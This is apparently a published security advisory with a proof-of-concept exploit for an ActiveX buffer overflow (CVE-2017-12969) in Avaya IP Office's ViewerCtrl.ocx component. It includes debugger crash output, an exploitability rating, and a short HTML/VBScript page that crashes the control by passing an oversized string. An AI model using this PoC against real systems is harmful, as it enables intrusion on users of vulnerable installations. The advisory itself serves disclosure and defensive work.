Avaya OfficeScan (IPO) Remote ActiveX Buffer Overflow Exploit

[+] Credits: John Page (aka hyp3rlinx)	


Vendor:
=============
www.avaya.com



Product:
===========
Avaya IP Office (IPO) 
v9.1.0 - 10.1

IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.

Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).

In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).

Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.



Vulnerability Type:
====================
ActiveX Remote Buffer Overflow




CVE Reference:
==============
CVE-2017-12969
ASA-2017-313



Security Issue:
================
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be exploited by remote attackers to potentially execute arbitrary
attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered.

Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}
Safe for Script: False
Safe for Init: False

ACCESS_VIOLATION
8C4A77 MOV EAX,[ECX]

SEH Chain:
-----------
1 8D00A3 po.dll
2 36A7E95 CIPElements.dll
3 36A8115 CIPElements.dll
4 788719 ViewerCtrl.OCX
5 788533 ViewerCtrl.OCX
6 78862A ViewerCtrl.OCX
7 6008793E mfc90u.dll
8 60089B31 mfc90u.dll
9 779858C5 ntdll.dll


(d360.1040c): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for po.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for CIPElements.dll - 
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
po!cip::po::SpecialObjects::getPresetObject+0x77:
06064a77 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000000=????????
0:008> !load winext/msec
0:008> !exploitable

!exploitable 1.6.0.0
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for mshtml.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for user32.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ieframe.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for iertutil.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for IEShims.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kernel32.dll - 

Exploitability Classification: PROBABLY_EXPLOITABLE

Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at 
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077 (Hash=0x6f1f914b.0xc46b7285)

The data from the faulting address is later used as the target for a branch.


References:
==============
https://downloads.avaya.com/css/P8/documents/101044091


Exploit/POC:
=============

<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />

<script language='vbscript'>
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact Center\User Interface\ViewerCtrl.ocx"
prototype  = "Function open ( ByVal containerId As String ) As Long"
memberName = "open"
progid     = "ViewerCtrlLib.ViewerCtrl"
argCount   = 1
payload=String(5142, "A")

victim.open payload

</script>

#  0day.today [2018-02-09]  #